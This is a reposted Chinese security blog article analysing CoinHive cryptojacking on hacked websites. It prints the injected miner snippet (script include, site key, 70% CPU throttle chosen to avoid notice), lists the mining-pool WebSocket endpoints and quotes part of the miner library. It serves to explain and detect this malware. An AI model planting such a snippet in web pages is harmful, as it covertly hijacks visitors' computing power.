36

CoinHive智能网页挖矿的二三事

 5 years ago
source link: http://www.freebuf.com/vuls/181267.html?amp%3Butm_medium=referral
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

0×0背景

挖矿目前已经成为黑帽子牟利的主要手段,最近上网偶然间发现部分网站被挂马后存在网页挖矿的行为,区别于常规病毒操作系统中挖矿行为,网页主要在网站上挂上恶意的JS脚本,访问该网站即触发挖矿动作。

目前很多网页挖矿主要以CoinHive的方式较多,一般挖矿用户以主动方式直接使用C或者其他语言构造的miner客户端进行CPU或GPU计算Hash。前端挖矿用户以被动或主动方式在不知情或知情情况下利用浏览者的CPU或GPU。

0×1现象

访问恶意网站时CPU飙升,关闭网站后回复正常水平。

yQ7jmav.jpg!web

关闭之后:

UBzuQbi.jpg!web

0×2源代码分析  

查看网页源代码可发现部分挖矿的代码,经过简单确定非手机浏览器后,即开始挖矿的动作。

nMZF7bA.jpg!web

浏览器进程占用了较大的CPU资源:

AjMrUff.jpg!web

查看浏览器进程中,可以在内存地址中发现有挖矿地址的痕迹:

ZbeeYnm.jpg!web

主要引用的挖矿代码的详细都在引用的JS脚本当中,仅使用70%的CPU资源。

<script src=" https://coinhive.com/lib/coinhive.min.js "></script>

<script>

var miner = new CoinHive.Anonymous('Jgv7noixIKHmJ7IIhAR9jySAwG3ZU8vt', {throttle: 0.7});

if (!miner.isMobile() && !miner.didOptOut(14400)) {

miner.start();

}

</script>

Jgv7noixIKHmJ7IIhAR9jySAwG3ZU8vt:CoinHive 当中的钱包地址;

throttle:浏览器占用CPU的阈值,调节到合适的阈值时用户会很难注意到浏览器的算力被滥用。

coinhive.min.js源码如下:

yUJ77bj.jpg!web

挖矿脚本使用WebSocket与矿池进行通信,部分的矿池结点如下:

wss://ws001.coinhive.com/proxy  
wss://ws002.coinhive.com/proxy  
wss://ws003.coinhive.com/proxy  
wss://ws004.coinhive.com/proxy  
wss://ws005.coinhive.com/proxy  
wss://ws006.coinhive.com/proxy  
wss://ws007.coinhive.com/proxy  
wss://ws008.coinhive.com/proxy  
wss://ws009.coinhive.com/proxy  
wss://ws010.coinhive.com/proxy  
wss://ws011.coinhive.com/proxy  
wss://ws012.coinhive.com/proxy

22mQ7fZ.jpg!web

挖矿脚本允许自动调节线程数目:

this._throttle=Math.max(0,Math.min(.99,this.params.throttle||0));
this._stopOnInvalidOptIn=false;
this._waitingForAuth=false;
this._selfTestSuccess=false;
this._verifyThread=null;
this._autoThreads={
enabled:!!this.params.autoThreads,
interval:null,
adjustAt:null,
adjustEvery:1e4,
stats:{}
};
this._tab={
ident:Math.random()*16777215|0,
mode:CoinHive.IF_EXCLUSIVE_TAB,g
race:0,
waitReconnect:0,
lastPingReceived:0,
interval:null
};

NvaUv2i.jpg!web


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK